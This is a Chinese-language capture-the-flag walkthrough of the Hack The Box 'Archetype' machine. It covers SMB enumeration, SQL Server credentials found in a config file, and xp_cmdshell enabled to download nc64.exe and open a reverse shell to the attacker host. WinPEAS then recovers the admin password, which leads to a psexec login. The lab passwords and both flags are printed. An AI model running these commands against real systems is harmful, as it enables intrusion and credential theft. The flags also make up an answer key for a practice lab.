HTB_Archetype攻击全流程

Archetype (SMB、SQL Server xp_cmdshell、反弹shell、winPEASx64、psexec远程连接)

TASK 1

  • 问题: 哪个TCP端口托管着数据库服务器?
  • 目的: 识别运行数据库服务的端口,通常通过端口扫描(如使用nmap)来完成。

TASK 2

  • 问题: 通过SMB共享的非管理员共享的名称是什么?
  • 目的: 识别SMB共享中的非管理员共享。这通常涉及到枚举SMB共享(例如使用smbclient工具)。

TASK 3

  • 问题: 在SMB共享上的文件中找到的密码是什么?
  • 目的: 访问SMB共享,并查找存储密码的文件。可能需要利用先前任务中识别的共享。

TASK 4

  • 问题: Impacket集合中的哪个脚本可以用来建立与Microsoft SQL Server的认证连接?
  • 目的: 了解和使用Impacket工具集,这是一个用于网络协议攻击的Python类和脚本的集合。这个特定的脚本用于和SQL Server建立连接。

TASK 5

  • 问题: Microsoft SQL Server的哪个扩展存储过程可以用来生成Windows命令shell?
  • 目的: 了解SQL Server内部可用于执行命令的特定功能。这通常用于执行系统命令或提权。

TASK 6

  • 问题: 哪个脚本可以用来搜索在Windows主机上提升权限的可能路径?
  • 目的: 了解和使用特定的工具或脚本来发现提权的可能途径。这在进行本地渗透测试时非常有用。

TASK 7

  • 问题: 包含管理员密码的文件是什么?
  • 目的: 寻找存储有关键凭据的文件,这可能涉及到文件系统的深入探索或利用特定的漏洞。

  1. 信息收集
namp -sV 10.129.131.101

结果如下:

PORT     STATE SERVICE      VERSION
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
1433/tcp open  ms-sql-s     Microsoft SQL Server 2017 14.00.1000

知识补充

SMB (Server Message Block) 协议

SMB(Server Message Block)是一种网络文件共享协议。它允许计算机在同一个网络上共享文件、打印机、串行端口和通信中的各种资源。SMB 协议最常见于 Windows 系统,但也可以在其他操作系统中使用。在Windows环境中,SMB运行在TCP端口 445 上。

SMB 的一个关键特性是能够提供文件和打印服务,使得网络上的不同计算机能够访问和共享文件就像访问本地文件一样。此外,SMB 也允许进行一些管理员级别的任务,如查询网络设置或请求远程计算机上的服务。


尝试连接:

┌──(root㉿kali)-[/home/lovesickman]
└─# smbclient -L 10.129.131.101 -N   

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        backups         Disk      
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.131.101 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

尝试使用 -N 匿名连接 backups 。

┌──(root㉿kali)-[/home/lovesickman]
└─# smbclient \\\\10.129.131.101\\backups -N
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Mon Jan 20 20:20:57 2020
  ..                                  D        0  Mon Jan 20 20:20:57 2020
  prod.dtsConfig                     AR      609  Mon Jan 20 20:23:02 2020

                5056511 blocks of size 4096. 2616663 blocks available
smb: \> get prod.dtsConfig
getting file \prod.dtsConfig of size 609 as prod.dtsConfig (0.4 KiloBytes/sec) (average 0.4 KiloBytes/sec)
smb: \> 

将文件下载到本地之后,获得了类似账号和密码的内容。

┌──(root㉿kali)-[/home/lovesickman]
└─# cat prod.dtsConfig 
<DTSConfiguration>
    <DTSConfigurationHeading>
        <DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..." GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/>
    </DTSConfigurationHeading>
    <Configuration ConfiguredType="Property" Path="\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String">
        <ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;</ConfiguredValue>
    </Configuration>
</DTSConfiguration>       
  • Data Source=.:指定了数据源,. 表示本地服务器。
  • Password=M3g4c0rp123:数据库连接的密码。
  • User ID=ARCHETYPE\sql_svc:用于数据库连接的用户名。
  • Initial Catalog=Catalog:初始连接的数据库名。
  • Provider=SQLNCLI10.1Persist Security Info=TrueAuto Translate=False:其他数据库连接相关的设置。

知识补充

Impacket

  1. 目的和功能:Impacket 是一个集成了多个网络协议工具的 Python 工具集。它包括多个脚本,用于执行各种网络操作,如验证、攻击、测试等。Impacket 包含的工具不仅限于数据库操作,还包括很多其他网络协议的操作。
  2. 使用场景:Impacket 主要用于渗透测试、网络安全研究和系统管理员工作。它的工具通常在命令行界面下运行,需要用户对相应协议有一定的理解。
  3. 数据库相关工具:Impacket 中的 mssqlclient.py 是一个脚本,用于与 Microsoft SQL Server 建立连接和交互。它更多地用于渗透测试和安全领域,比如在探索SQL注入漏洞或执行其他类型的数据库攻击时。

Navicat

  1. 目的和功能:Navicat 是一个数据库管理和开发工具,它提供图形用户界面,用于连接和管理多种类型的数据库,如 MySQL、PostgreSQL、Oracle、SQLite 和 Microsoft SQL Server。
  2. 使用场景:Navicat 主要用于数据库的日常管理、开发和维护工作。它非常适合数据库管理员、开发者和分析师进行数据查询、数据库设计、数据导入/导出等操作。
  3. 用户友好性:Navicat 提供一个直观的图形界面,使用户可以轻松地执行复杂的数据库操作,无需深入了解底层协议或编写SQL语句。

Navicate 无法远程连接,尝试使用 kali 自带的 mssqlclient.py 文件远程连接。路径如下 : /usr/share/doc/python3-impacket

┌──(root㉿kali)-[/usr/share/doc/python3-impacket]
└─# ls -a
.  ..  changelog.Debian.gz  changelog.gz  copyright  examples  README.md.gz
                                                                                                               
┌──(root㉿kali)-[/usr/share/doc/python3-impacket]
└─# cd examples        
                                                                                                               
┌──(root㉿kali)-[/usr/share/doc/python3-impacket/examples]
└─# ls -a
.                   GetNPUsers.py     mqtt_check.py         rdp_check.py      smbrelayx.py
..                  getPac.py         mssqlclient.py        registry-read.py  smbserver.py
addcomputer.py      getST.py          mssqlinstance.py      reg.py            sniffer.py
atexec.py           getTGT.py         netview.py            rpcdump.py        sniff.py
dcomexec.py         GetUserSPNs.py    nmapAnswerMachine.py  rpcmap.py         split.py
dpapi.py            goldenPac.py      ntfs-read.py          sambaPipe.py      ticketConverter.py
esentutl.py         karmaSMB.py       ntlmrelayx.py         samrdump.py       ticketer.py
exchanger.py        keylistattack.py  ping6.py              secretsdump.py    wmiexec.py
findDelegation.py   kintercept.py     ping.py               services.py       wmipersist.py
GetADUsers.py       lookupsid.py      psexec.py             smbclient.py      wmiquery.py
getArch.py          machine_role.py   raiseChild.py         smbexec.py
Get-GPPPassword.py  mimikatz.py       rbcd.py               smbpasswd.py

使用脚本连接 SQL SERVER 数据库

python3 mssqlclient.py 'ARCHETYPE/sql_svc'@10.129.131.101 -windows-auth

查看数据库中的表

SQL> select name from master.sys.databases;
name                                                                                                                               

--------------------------------------------------------------------------------------------------------------------------------   

master                                                                                                                             

tempdb                                                                                                                             

model                                                                                                                              

msdb  

知识补充

master 数据库记录了所有的 SQL Server 数据库系统的系统级信息,如用户帐户,配置设置,并存在所有其他数据库信息

model 数据库是一个模板数据库。每当创建一个新的数据库(包括系统数据库的TempDB),会创建一个以 Model 数据库为副本数据库,并更改成你创建数据库时所用的名称

msdb 数据库是 SQL Server 代理的数据库,用于配置警报使用 SQL Server 代理和预定作业等

tempddb 数据库是由 SQL Server 用于暂时存储数据的,这其中包含所有临时表,临时存储过程,并通过 SQL Server 生成任何其他临时存储需求


思路导航

为什么可以利用 SQL SERVER 的漏洞呢?

因为我们得到 SQL SERVER 的数据库和密码之后,SQL SERVER 有一个 xp_shell 的扩展存储过程可以生成 windows shell。

xp_cmdshell 是一个 SQL Server 的扩展存储过程,它允许你执行操作系统命令。在默认情况下,xp_cmdshell 可能在 SQL Server 上被禁用,因此你可能需要先启用它。


  1. 打开 SQL Server 配置项:

    EXEC sp_configure 'show advanced options', 1;
    RECONFIGURE;
    
  2. 启用 xp_cmdshell

    EXEC sp_configure 'xp_cmdshell', 1;
    RECONFIGURE;
    
  3. 可以测试

    exec xp_cmdshell 'whoami';
    exec xp_cmdshell 'ipconfig';
    

TASK 6

问题: 用于搜索可能的 Windows 主机权限提升路径的脚本是什么?

答案: Sherlock 或者 WinPEAS

这些是常用的权限提升枚举脚本。SherlockWinPEAS 都是用于查找可能的Windows权限提升漏洞的脚本。


然后下载提权脚本。


知识补充

使用 net user 查看本机所有的用户

PS C:\Users\user> net user

\\LAPTOP-38QT2L81 的用户帐户

-------------------------------------------------------------------------------
Administrator            DefaultAccount           Guest
oracle                   user                     WDAGUtilityAccount
命令成功完成。

PS C:\Users\user>
  1. Administrator:这是 Windows 系统的内置管理员账户。它拥有系统上最高级别的权限,通常在初始安装 Windows 时创建。
  2. DefaultAccount:这是一个内置的用户账户,通常用于系统特定的目的,通常不用于常规登录。
  3. Guest:另一个 Windows 内置账户,通常具有非常有限的权限,用于临时用户访问。
  4. oracle:这似乎是一个创建的用户账户,可能是用于特定用途,如运行 Oracle 数据库或其他 Oracle 软件。
  5. user:这可能是一个为常规使用或特定用途创建的用户账户。
  6. WDAGUtilityAccount:这是 Windows Defender Application Guard 的一部分,用于提供隔离的浏览环境,以提高安全性。

知识补充

使用 nc (netcat)创建一个反弹 shell

关于 -e 选项

在 Netcat 命令中,-e 选项用于指定 Netcat 在建立连接后要执行的程序。例如,nc 192.168.234.3 80 -e /bin/bash 命令会在连接到 IP 地址 192.168.234.380 端口后,尝试在远程系统上执行 /bin/bash。这通常用于创建一个反弹 Shell,允许远程用户通过 Netcat 连接访问一个 Shell 会话。


测试 靶机可以使用 powershell

SQL> EXEC xp_cmdshell 'powershell -c "Write-Host Hello World"';
output                                                                                   
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------   
Hello World                                                                               
NULL

linux 使用 python3 启动一个服务器

python3 -m http.server 80

nc64.exe 目录:http://192.168.234.3/htb/utools/nc.exe/


靶机执行下边的目录下载 nc64.exe

exec xp_cmdshell "powershell -c wget http://192.168.234.3/htb/utools/nc.exe/nc64.exe -outfile nc64.exe"
  • xp_cmdshell:SQL Server 的一个扩展存储过程,用于执行操作系统命令。
  • powershell -c:启动 PowerShell 并执行后面的命令。
  • wget http://192.168.234.3/htb/utools/nc.exe/nc64.exe:wget 是 PowerShell 中的一个别名,用于从指定的 URL 下载文件。在这个例子中,它从 http://192.168.234.3/htb/utools/nc.exe/nc64.exe 下载文件。
  • -outfile nc64.exe:指定下载的文件保存为 nc64.exe

靶机下载完成之后,执行以下命令

在靶机上,您可以使用 SQL Server 的 xp_cmdshell 来下载 nc.exe 并执行它。首先,确保靶机可以访问您的 Kali Linux 机器(即确保没有防火墙或网络隔离问题)。


这里有一个问题(非常关键)

我的kali的内网地址是:192.168.234.3,靶机ip是10.129.67.17,kali是可以ping通靶机的,但是靶机无法ping通主机,htb 同时提供了一个我主机的虚拟ip地址:US

ACCESS

US StartingPoint 2

SERVER

10.10.14.119

IP ADDRESS
当我在 kali 使用 python3 -m http.server 80 靶机可以访问 10.10.14.119 来访问我本地的文件,从而上传nc64.exe 实现反弹shell。


步骤 1: 在攻击机上设置 Netcat 监听器

  1. 打开你的 Linux 终端

  2. 使用 Netcat 设置监听器。选择一个端口(例如 4444)进行监听:

    nc -lvnp 4444
    

    这个命令会让 Netcat 在端口 4444 上监听进入的连接。选项说明:

    • -l 表示监听模式。
    • -v 表示详细输出。
    • -n 表示不进行 DNS 解析。
    • -p 4444 指定使用的端口。

步骤 2: 在靶机上触发反弹 Shell

这个步骤取决于你对靶机的访问权限和可用工具。假设你可以在靶机上执行命令(例如通过 SQL 注入、命令执行漏洞等),你需要执行一个命令来连接到你的监听器。假设你的攻击机 IP 地址是 192.168.234.2,端口是 4444,在靶机上的命令可能是:

nc 10.10.14.119 4444 -e /bin/bash

这个命令会使靶机上的 Netcat 连接到你的监听器,并使用 /bin/bash 提供一个 Shell。


SQL> exec xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads;wget http://10.10.14.119/nc64.exe -outfile nc64.exe;dir;"
output                                                                                                                                                                            
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------   

Directory: C:\Users\sql_svc\Downloads                                                                                                                                 
Mode                LastWriteTime         Length Name                                     
----                -------------         ------ ----                                   
-a----        12/2/2023   4:51 AM          45272 nc64.exe

下载成功!


靶机运行:

SQL> exec xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads;.\nc64.exe 10.10.14.119 4444 -e cmd.exe;dir;"

成功提权!

┌──(root㉿kali)-[/home/lovesickman/htb/utools/nc.exe]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.119] from (UNKNOWN) [10.129.67.17] 49685
Microsoft Windows [Version 10.0.17763.2061]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\sql_svc\Downloads>

提权之后下载高级提权工具:winPEASx64wget http://10.10.14.119/htb/utools/winPEASx64.exe -outfile winPEASx64.exe

下载好如下所示:

C:\Users\sql_svc\Downloads>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 9565-0B4F

 Directory of C:\Users\sql_svc\Downloads

12/02/2023  05:12 AM    <DIR>          .
12/02/2023  05:12 AM    <DIR>          ..
12/02/2023  04:51 AM            45,272 nc64.exe
12/02/2023  05:12 AM           135,376 winPEASany.exe (当时下错了)
               2 File(s)        180,648 bytes
               2 Dir(s)  10,719,178,752 bytes free

这个提权工具找了好久都不行,在一个博客里边找到了能用的,友链,经过一顿输出 ,得到了管理员账号和密码:

administrator MEGACORP_4dm1n!!

 Analyzing Windows Files Files (limit 70)
    C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
    C:\Users\Default\NTUSER.DAT
    C:\Users\sql_svc\NTUSER.DAT

 Analyzing Other Windows Files Files (limit 70)

       /---------------------------------------------------------------------------\
       |                             Do you like PEASS?                            |
       |---------------------------------------------------------------------------| 
       |         Become a Patreon    :     https://www.patreon.com/peass           |
       |         Follow on Twitter   :     @carlospolopm                           |
       |         Respect on HTB      :     SirBroccoli & makikvues                 |
       |---------------------------------------------------------------------------|
       |                                 Thank you!                                |
       \---------------------------------------------------------------------------/


C:\Users\sql_svc\Downloads>type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!
exit

最后使用 psexec 工具远程连接

psexec 是一个功能强大的远程执行工具,允许您在远程系统上执行命令。如果您已在您的 Kali Linux 机器上安装了 psexec

┌──(root㉿kali)-[/home/lovesickman/htb/utools]
└─# impacket-psexec administrator@10.129.67.17                       
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

Password:
[*] Requesting shares on 10.129.67.17.....
[*] Found writable share ADMIN$
[*] Uploading file avwKJWzR.exe
[*] Opening SVCManager on 10.129.67.17.....
[*] Creating service ZzpR on 10.129.67.17.....
[*] Starting service ZzpR.....
[!] Press help for extra shell commands                                                                       Microsoft Windows [Version 10.0.17763.2061]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> 

FLAG 保存在了用户的桌面:user_flag:3e7b102e78218e935bf3f4951fec21a3

02/25/2020  06:37 AM                32 user.txt
               1 File(s)             32 bytes
               2 Dir(s)  10,715,082,752 bytes free

tyep^H^H
'ty' is not recognized as an internal or external command,
operable program or batch file.                                                                               C:\Users\sql_svc\Desktop>
type user.txt                                                                                                 C:\Users\sql_svc\Desktop>3e7b102e78218e935bf3f4951fec21a3
 Directory of C:\Users\Administrator\Desktop

07/27/2021  01:30 AM    <DIR>          .
07/27/2021  01:30 AM    <DIR>          ..
02/25/2020  06:36 AM                32 root.txt
               1 File(s)             32 bytes
               2 Dir(s)  10,715,082,752 bytes free

C:\Users\Administrator\Desktop> type root.txtt^H                                                              The filename, directory name, or volume label syntax is incorrect.

C:\Users\Administrator\Desktop> type root.txt                                                                 b91ccec3305e98240082d4474b848528
C:\Users\Administrator\Desktop> 
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值